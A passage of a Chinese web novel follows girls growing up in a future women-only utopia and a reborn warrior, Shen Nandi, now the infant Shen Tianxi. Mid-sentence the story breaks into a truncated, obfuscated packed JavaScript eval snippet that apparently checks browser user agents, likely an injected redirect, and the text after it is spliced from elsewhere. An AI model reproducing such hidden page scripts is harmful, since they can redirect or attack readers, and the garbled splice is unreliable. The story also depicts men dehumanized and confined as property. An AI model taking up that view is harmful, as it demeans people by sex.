“我最喜欢的还是到娂园,随便找一些新的项目尝试,不瞒你说,不管是玩泥巴建城堡,还是驱使遥控剑,我都特别会。” 过了六岁,她们就要到附近的娂学完成初步启蒙。 “一开始我还很不开心,可是到娂学,我发现比我想象得好玩多了!” “我们要学七门基础课程,虽然我并不喜欢写作业,但是目睹了因为基础课程不过关,无法找到心仪的领慧在自己感兴趣的领域深研的姨姨,我还是老老实实做了。” “不过作业内容也不多,而且做完后还会有一种成就感。” 十二岁,她们增设一门课程,为一些对自己未来想要选择从事何种领域迷茫的人提供帮助。 领慧站在讲台的第一节课就讲了:“这节课只是为大家提供一些建议,这并不代表你们以后就被钉死在上面了。” “虽然这节课开设只有五年时间,但其实,这件事你们用一生来做也不为过。” “孩子们,你们要去记住,任何事,从头开始都来得及。” 她们会去职业模拟室体验千百种职业,也会被领慧带着前往各种工作场所参观。 到了十八岁了,还可以选定一些方向,找少年实习官网所提供的短期体验工作,切身体会自己到底是怎么想的。 计航现在就为这件事发愁呢。 她都不知道自己未来会干什么呢? 虽然以现在的发展水平,就算一辈子不工作,也能够无忧地活下去,但是那得有多无聊啊。 计航是个有追求的人,而且一般也很少有人会做出这样的选择。 就算倒贴去研究蝴蝶,或者只是呆在图书馆看书,天天去各种地方探索,也不会懒惰地躺在床上发霉。 她们从来都没有“人为什么要工作的想法”,而只有“我这一生那么漫长,到底要做些什么”的念头。 “你说,我到底喜欢做些什么啊?”计航问起了庆衍。 还不等庆衍说话,计航就自己说了。 “唉,管它呢,反正我多的是时间,我最近打算写一本小说,是有关前代的。” 本来接下来应该由庆衍来为计航讲讲过去的事,但是川媚来到了这里。 “故事机你又跑出来跟别人讲故事了啊,”她一把抓住庆衍,“不是说了,为你申请了身份登记,要做了身份标记出门别人才不会把你当做入侵的异族嘛。” 计航:“!” “川媚姥姥!” 川媚对着计航和蔼可亲地笑,每一根皱纹都过分可爱了。 “是计航小朋友啊,这次就谢谢你了。” 后来计航多了一个妖怪朋友,有时候她会来到她的窗边讲故事。 “你不睡觉吗?” “我们庆衍都不睡觉的。” “要是睡觉的话,就不知道什么时候会醒来了。” 计航最终还是没有写之前准备写的小说。 因为过去跟她想象得有点不太一样。 谢屹川见到带着计航上门的川媚和庆衍有些诧异。 “好吧,既然庆衍答应你了,我也就跟你说说吧。” “你还记得前不久出土的远古遗迹吗?男可能是跟随着一本邪恶之书入侵的外来病毒所导致的畸形儿,或者牠们本就是病毒本身,这还有待研究考察……” “一千多年前所传的世界大纲,也许并不是空穴来风。” “我在谢菁华姥婃那里看到了她记录的一件事。” 当时对于如何处置男,存在一些分歧。 有人认为让男人尝尝过去女人所承受的处境就行,还有人认为根本不需要那么多男,圈养一小部分就可以了,以后可以逐步进入到全女社会。 谢菁华的表妹就认为:“想找男就找男呗,担心女人会受害,未尝不是对女人能力的不自信。” 她还拿谢菁华举例。 “从前那个谁,沈什么的,还不是在欺骗到菁华表姐之前就被她杀了。” “……”谢菁华看了看远处和别人聊天的阿娘,对表妹说,“你别说这件事了,你爱怎么样怎么样,到时候别怪我没提醒你,谢家可不会给你钱养男人。” 表妹心虚地移开眼。 谢菁华像是想起什么,提道:“你知道那个流传出来的大纲吧。” 表妹想起那里面写自己因为忮忌谢雪瑶的绝世美貌,被卫辰风算计,安排到了一个恶臭男,天天挨打,脸顿时就黑了。 后来表妹也没养着男,因为她发现自己并不需要,也没有必要。 毕竟没有是必须要有男才能做成的事,在生活之中的一切交往,她都是和女人一起的。 游玩、练剑还是交流,从来都是跟女人一块的,紧密联系的对象,产生深层次情谊的人,都是女人。 “我看你是被骗了,如果你只是想欲望得到满足,为什么一定是男?为什么就不可以是别的?为什么会想着长期保持这种关系?不会腻烦吗?” 所以当周边铺天盖地都是不必男的看法后,她动摇了。 再加上,叶殊归与莫停留她们的事迹大肆宣传,知道了过去男搞炉鼎这些罪恶的事迹,就算不厌憎,大家不也得掂量掂量,谁知道牠们心里在想什么? 毕竟是做出邪恶之事、可能掌握了邪恶之术的恶男啊。 “而且,我们怎么能像过去的男那样邪恶,仅仅是为了一己私欲就把男困于后宅。” 虽然占据了社会资源的女人会把男排斥出自己的圈子里,毕竟大家都是大姥娘们,来个男多不方便啊。 “我们都是母亲的孩子,留在母亲身边,再自然不过了。” 男儿是家族的财产,为家族从事价值并不大的工作,而女儿从小就要吃修炼的苦。 慢慢地,把男带回家变成一种不道德、会遭受指责的行为。 “你换位思考一下,如果牠是你母亲的男儿,你的弟弟,你舍得牠离开你们家族吗?” “而且,你让牠又如何自处,背叛母亲、背叛家族的男儿?” “如果你未来你的女儿因此受到伤害了怎么办?” “现在是有对男的管束,你别忘了,曾经让男成为孩子爹的时期,她们有多不幸!” “如果你让男进门,家族的姊妹会有多么尴尬你不知道吗?为了一个男弄得姊妹离心不值得!” 反正不管怎么样,都不能和男建立多么深厚的关系。 “每一种观念背后都藏着利益诉求。”谢屹川对计航说。 “我知道了!难怪前代末期与后代初期的书都有提到男性低贱论、不生男免其受苦论、为了实现社会公平不再生男论,特别是到了生物科技大发展的时期……” 历史与政治真有趣。 计航还对谢屹川口中入侵的邪恶之书真相感兴趣。 “谢谢领慧,我想我知道我未来要干什么了。” 庆衍告诉计航:“我想,你在过去也还会是你自己,只是可能会受点苦。” “那我就争取让大家都不用吃苦喽。”其中独属于另外一个时代的天真、自信、良善展现得淋漓尽致。 如果让沈难敌知道这件事,能够开口回应她们,那么她一定会是笑笑,摆摆手:“妹妹,你未免也太小瞧我们了,你说要做的这件事,我们不说全都做到了,但也做了不少。” 沈难敌是叶殊归、莫停留那个年代的人,挖过心,杀过人,放火烧过拐子村,也在问秋谷之役失去过姐妹,然后到虚空之境因根基受损养不好死去,虽然有遗憾,但也算是经历了风风雨雨,过了一个值得一说的人生了。 至于吃苦,说没有那是假的。 但都过去了。 而且啊,又过了几千年,太久没吃过苦的沈难敌重生在后世,直接就浸在蜂蜜罐子里了。 这是甜味吗?这甜究竟有多甜?甜到什么程度了? 沈难敌不知道,沈难敌有些恍惚,沈难敌还没出生就有了一个新名字,就叫沈添曦。 “我的孩子,你什么都不用做,出现在我的生命里,来到这个世界,就增添了曦光。” 沈难敌这才恍惚地回忆起,在过去,一开始她原本是叫惠莲的。 ……惠莲,一个乡下女人的,充满规训、很普通的名字。 至于那时的姓氏,沈难敌每每想起,就觉得好笑,以至于感到不屑。 那个啊,被男人强行戴上的恶心玩意,她早就想不起来了。 “姓什么?有没有都无所谓,乌春,你选了什么?”“沈?你阿娘的姓?”“那我也姓沈吧。”反正沈难敌当时在改名的时候,随便搞了一个。 这具有偶然性,沈难敌也有可能姓白,姓百里,姓鸡,姓鸭,姓鹅,姓姥天,姓后土,姓你个邪,也有可能什么都不去姓。 这个“沈”对于她来说是没有任何特殊意义的。 不像莫停留的“莫”,为了搭配名字停留,也不似叶殊归的“叶”,因为要纪念一个雪天赠粥妇人。 但是现在,沈难敌重活一生后的妈妈给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不为别的,只为学会更好地和女儿“相处”。 而不打算生孩子的女人有时候也会去考一个,万一以后想要成为哪个小孩的阿妈呢。 “反正我是考到了。” “有什么了不起的。”闻婵生别过头。 “就是了不起。” “哼。” 沈添曦出生后,才知道这两个幼稚鬼,分别是沈诵光两个阿妈的女儿,张春来和闻婵生。 “小太阳,你来评评理,这件事是不是你姨的错?”张春来蹲下来,像模像样地盯着躺在月亮摇篮里的沈添曦一眼,“不说话就是默认是她错喽。” 后又看向闻婵生,有点得意的样子,“你看,太阳都说是你的错了。” 如果是沈添曦,对待这种幼稚的玩法,理都不会理,顶多也就是翻个白眼,但闻婵生也是个幼稚鬼,凑上来,左看右看。 “真的吗?我不信。” “小太阳,如果认同张春来是个大蠢猪,就什么也不要说。” “……”沈添曦虽然现在还只是一个婴儿,但也能够预料到,有这两个人,未来的生活……不说鸡飞狗跳,至少是不会无聊了。 现在这个世界——由她从前呆的那个世界变来的世界——真是令她惊奇。 有时候会有一些圆头圆脑的怪东西冒出来,围在她身边,在她想喝水的时候喂给她,在她想睡觉的时候飞来给她掂小被子,还会给她唱儿歌讲故事。 一开始沈添曦以为它们是妖,或者某位傀儡大师的作品。 沈添曦不动声色地观察着它们,用她那圆溜溜又漆黑的婴儿眼睛。 “宝宝,我的宝贝,在家里有没有想妈妈啊!妈妈今天解决了一个超级大问题,可厉害了!妈妈想宝宝了!” 天上浮现一个巨型光幕,沈添曦在月亮形状的摇篮里眼睛一眨不眨地盯着。 “宝宝一直看着妈妈的样子好可爱!我的好宝宝,妈妈这就来和宝宝玩。” 沈添曦为人沉稳,性格冷淡,遇见那么热情的妈,有些不知所措,于是选择沉默。 但没想到沈诵光说的“这就”那么快,快到就连沈添曦这么冷静的人,都差点控制不住在一个婴儿脸上露出震惊、狂喜以及好奇的情绪,但所幸她控制住了,没有让自己的反应在这个新世界太过突兀。 几乎就是说完那一句话,沈诵光就抵达了沈添曦身边。 “宝宝,看到妈妈高不高兴啊!妈妈好想你!” 沈诵光在沈添曦额头上轻轻亲了一口。 沈添曦在想别的事,她虽然转世了,但神识仍旧强大,早已知道沈诵光不是什么修道的高手,能够拥有如此强大的瞬移之术,难道是一个强大的阵法大师,不过也有可能是符篆的效果,或许这时候会出现那种传说中的高手,制作出以前那个时代水平所不能达到的瞬移符。 “宝宝怎么在发呆呢?都没有听妈妈说话,妈妈好伤心。” 沈添曦这才将注意力放在沈诵光身上,对着她的那张脸,后知后觉地想起刚刚自己是被她给亲了。 沈添曦悚然地瞪大眼睛,然后发出了婴儿的哭声。 讨厌没有边界感的妈妈,口水好恶心。 “宝宝,宝宝怎么了?”沈诵光手忙脚乱地抱起沈添曦安慰。 “……”沈添曦闭眼,无语仰天。 沈添曦不知道自己什么时候开口说话才不至于吓到大家,又能够让其她人不把自己当普通小孩对待。 后来逐渐大了一些,沈添曦开口喊了“妈妈”“阿姨”“姐姐”“姥姥”,也在慢慢探索之中,了解到周边世界的一些情况。 这是几千年后的世界,而在历史上,她们死后,无数个女人举起火把,拿起不曾消失的愤怒,提起刀,点燃了黑暗的天空,以及那些夺去她们公平的不平世界。 时岳、祝缨、鬼命人、天道系统、审月、王图、屠新、齐照灯、宋思瑞……无数个在沈难敌所知道的叶殊归、莫停留、沈乌春、择川、以刃等等名字后面,作为沈添曦所知道的名字。 在妈妈口中,其她人目光里,乃至浩如烟海的资料当中,沈添曦感受着她们的精神脉络。 “好想,让大家都来看看,这个世界,你们,她们,我们所共同缔造的这个世界,变得更好的世界……” 好吧,现在就让我来给你们介绍介绍吧。 沈添曦想象着自己正在跟老朋友们说着话,而她们也不客气地出现在沈添曦脑子里,一直在说着说着话。 好啦好啦,你们不要急,我都会说的,会说清的。 说到沈添曦之前好奇的瞬移,她已经知道一些内容了。 原来这只是最简单的坐标交通罢了,只要在两地建立联系,知晓通行密码,就可以瞬间往返。 里面蕴含了不少时间空间知识。 沈添曦觉得高深,更加感兴趣了。 “而且啊,宝宝,你别看我们家没什么特别的,只是普普通通的几百平,但其实这只是你看见的。” “妈妈正好就是研究虚空世界的,所以就没找人,自己就给我们家配置了不少存在于缝隙之间的额外空间,宝宝,你想去看吗?” 点头。 沈添曦怎么不会想去看呢,想当初她在设计、修建虚空之境的房屋与基础设施的时候,就经常在想有什么节约通行时间的办法,以及尽可能利用空间的措施。 想起那时自己在里面,没日没夜地设计好方案,再和姐妹们共同修建属于自己的地方,沈添曦内心就一阵酸涩感动。 尽管到后面有些人离开了,但她永远都记得那时挤着别人站在她身后,有一个女人开口说:“可以在这里种一棵桃花树吗?我想酿桃花酒。” 沈诵光见小小沈添曦感兴趣,两只眼睛亮亮的:“乖宝,妈妈这就带你去看。” 沈诵光就直接带沈添曦进了最近的一个空间。 沈添曦只不过一眨眼,身边场景就转换了,她移动脑袋,扫过里面杂七杂八的东西,有书,有扳手,有石头,还有一个又一个棋盘。 沈诵光不好意思地摸摸脑袋:“有时候妈妈会在这里研究东西。” 看到这么乱,沈添曦感觉自己太阳穴旁的青筋直跳:“这样会很难找东西吧。” “啊,没有啊。”沈诵光回答道,“东西就在身边,我觉得很好找啊。” 沈添曦也就不说什么了,只是不去看那令她难以忍受的凌乱画面。 看得出沈诵光对这个不感兴趣,于是就换了一个地方。 “这个空间是可以放电子书的。” 沈添曦仰头看见周围到处都是虚幻影子的书籍漂浮在空中。 她心念一动,一本记录着她作为沈难敌那个时代的书籍就轻轻落到了她手中,显现出实体的模样。 沈诵光看了一眼:“宝宝是对历史感兴趣吗?” 她指着沈添曦手中的书籍介绍道:“你有很多种观看方式,可以文字浏览,也可以选择库里兰女士为你说书,还可以直接开启不同视角,进入书中世界。” “宝宝,我这样说你能听懂吗?你看我,都忘了减去你在我身体里的三十几年时间,就只是个不到一岁的宝宝了。妈妈再跟你多说一些内容,不要慊弃妈妈啰嗦。” “……”沈添曦摇摇头,阻止了她,“妈妈讲得很好,我听得懂。” 沈诵光很开心:“那也是我们家宝宝聪颖过人,跟我一样。” 沈诵光告诉沈添曦,如果她再大一些,就送一些空间给她。 “妈妈,我想学这个,长大了自己造。” 听到沈添曦的话,沈诵光微微讶异,随后一笑,表扬道:“不愧是我沈诵光的女儿。” “我可是记住了你的话哦。” 张春来和闻婵生从沈诵光口中知道这件事后,都纷纷表示正常正常,只是贼心不死。 “小孩子嘛,都没个定性,到时候要是对剑……”闻婵生趁机刷存在感推销。 张春来当然不会让她如意,她冷哼一声打断:“我们都很乐意提供帮助的,特别是在医学药学这一方面。” 沈诵光仰头望云,不急不躁地说:“不管了,孩子的路,还是要让她自己走。” “就算她什么也不想学,只要是每天都开开心心我就觉得很好了。” 两人一想:“也是。” 反正有大把时间,人生下来就注定要在享受之中寻找意义,就算没有找到,这个过程本身就是很有意义的了。 再大一些,沈添曦通过查找资料以及询问可以询问得到的人,了解到这个世界是如何运行的。 这个世界如果说是国家,倒不如说是一整个组织,她们是没有政府的。 唯一能够约束她们的也就是令境那一轮由各种族造就的永世月,沟通了这个世界的天道,以规则的力量平视着所有生灵。 “这个规则嘛,当然是以所有生灵都能够充分发展为底线。”沈诵光好像不认为生存是什么大难题,所以关注的就仅仅是发展。 “如果有人违背了,是要受到永世月惩罚的。不过已经几百年没有人那么愚蠢,想不开,要放弃自己唾手可得的安稳幸福,以及努力就能够上升的生活,到处搞破坏了。就算是有人犯错,也只是一些小错罢了,去妖怪那边种一百棵树也就行了。” 沈添曦有疑问:“如果有人控制了永世月,让规则偏向她怎么办?” 沈诵光闻言,轻声笑了笑:“永世月如果偏颇了,那么也就不复存在了。” 因为永世月约束着她人的规则,也同样约束着它自己。 “难得宝宝那么想要了解,妈妈再跟你说说,这个世界都有哪些神奇的妖吧……” 一般来说,同类相聚,妖都会去寻找适宜自己生存的地盘,很少打扰人,而人也是如此。 但也不是没有例外,近年来因为通商、旅游、学术交流,人与妖逐渐密切起来了。 有时候沈添曦还能在自家草坪捡到一只吃果子醉了晕乎乎倒下来小鸟雀。 “你、你好啊!” “……”沈添曦后退一步,好笑地摇摇头,心想这么笨是怎么活下去的。 然后又想到现在已经不是从前那个不去争不去抢不去随时准备背叛别人同样也被别人背叛就活不下去的世界了。 就在前几天,沈诵光看沈添曦一直闷在家里,偶尔看修炼的书籍,总是研究建筑相关的知识,面对上门的同龄小孩也是不冷不淡的,于是就拉着她去娂园了。 沈诵光想沈添曦多接触一些人,也看看自家女儿对其它方面有没有兴趣,到时候好培养培育。 谁知道沈添曦只看到模拟世界的虚幻空间,就投入其中,一个人专心致志搞基建。 沈诵光看着沈添曦逐渐堆起的砖块,心想以后不会真的是要子承母业吧。 这样也好,自己还可以教导一二。 不过到时候要严厉一点,还是温柔一点好呢? 沈诵光神游天外,等她回过神,看到沈添曦正在手把手地教一个穿着红毛衣黑色牛仔裤的小女孩砌墙。 沈诵光激动地从凳子上站起,拿出手机记录下来这件事。 照片备注就是:宝宝交的第一个朋友。 她们回家的时候,沈诵光一路上都很高兴。 走到路上,快要到家,看着别人家墙壁上的爬山虎,哼着小曲的沈诵光神色一变。 “哎呀,宝宝,妈妈的手机忘拿了。” 沈添曦抬头,不待她说什么,沈诵光就开口。 “不过没关系,明天去拿也没事。” 这个时候沈添曦还不懂,到后面她就明白了。 她妈,沈诵光,除了在工作研究做实验上严谨又认真,依照自己的能力范围,把计划写得满满当当,然后按部就班地走下去,其它地方简直就像个丢三落四的憨憨。 也难怪乎总是互怼的闻婵生和张春来,在吐槽沈诵光这一点上会格外一致了。 “你妈啊,现在还好点,要是以前,真是大灾难。” “东西搞得很乱,衣服就随便一放,各种工具堆在身旁,也不知道她在家里是怎么下脚的。” “而且生活也不规律,为了搞明白一个东西,头发几个月不洗,饿了也不知道吃饭,真是一个大傻瓜!” “还总是会丢东西,有一次我们去金陵,她第一天丢水杯,第二天丢手机,第三天丢草帽,第四天丢袜子,第五天丢另外一只袜子。” “像她这样自己都照顾不好,所以当初她告诉我们要生你的时候,我们都大吃了一惊。” “我们还以为她至少要很大程度地依赖家政机器,或者找我们,育儿所帮忙。” “没想到她会在你出生之前,努力地把三十几年都没能改变的坏毛病一点点地给改掉呢。” 这时沈诵光冒出来,在门口探头:“宝宝,你没有看见妈妈的盒子啊,就是那个钴蓝色的。” “呃……好吧,有时候还是会有点丢三落四,但以前要好太多了。” 沈添曦在这里松弛下来了。 以前她总是觉得时间不够用,有好多虽然没兴趣但必须要做的事,赶急赶忙,时不时就要分辨一下时辰。 可是现在,她却觉得做任何事都不会晚。 沈添曦也有了一个朋友,是去娂园认识的,爱穿红毛衣的小女孩,她们都对建筑感兴趣,所以常常呆在一起讨论。 也不算讨论吧,大多都是小女孩询问沈添曦的意见,沈添曦给出中肯的建议。 沈添曦感觉小女孩就像是自己朋友的孩子一样。 她还给小女孩讲述朋友的故事。 “其实择川是一个很别扭的孩子,你别看她平常凶巴巴刀子嘴……” 听说在汜水娘娘陵墓园,有一个碑,上面刻下了她们那个时候女人的名字。 六岁的时候,沈诵光牵着沈添曦去看了。 沈添曦站在巨大的石碑前,看着上面的红字,然后静静地用手指抚过。 一个又一个名字在模糊的视线之中划过。 叶殊归、莫停留、沈乌春、择川、沈难敌、以刃、妘烁…… 风吹过,一阵金铃铛声响起。 沈添曦侧耳,好像听到好多认识的人在说,“我们还活着呢,我们永远都活着呢。” 沈难敌本来也是死了的,但在土里不知道埋了多久,一个夜晚,一个身旁有流转飞舞的萤,长袍又掉落月光的女人把她挖了出来。 她说:“我最看不得悲剧了。” “所以……” 女人坐在地上,扭头看她,然后微微一笑。 “你们都要活着,活下去,明白吗?” “你……的名字……?” “姬、拾、月。”女人神色在月光下懒洋洋的,声音也像小刷子一样毛茸茸。 沈添曦有种微妙的特别感觉。 后面的事,她就不记得了。 永世月一千零五十年,听着风中摇曳的金铃铛所发出的声响,一个在妈妈陪伴下的小女孩,仰头看着刻写了无数密密麻麻红字的石碑,在嘴巴里缓慢地念出了这个名字。 “姬、拾、月。”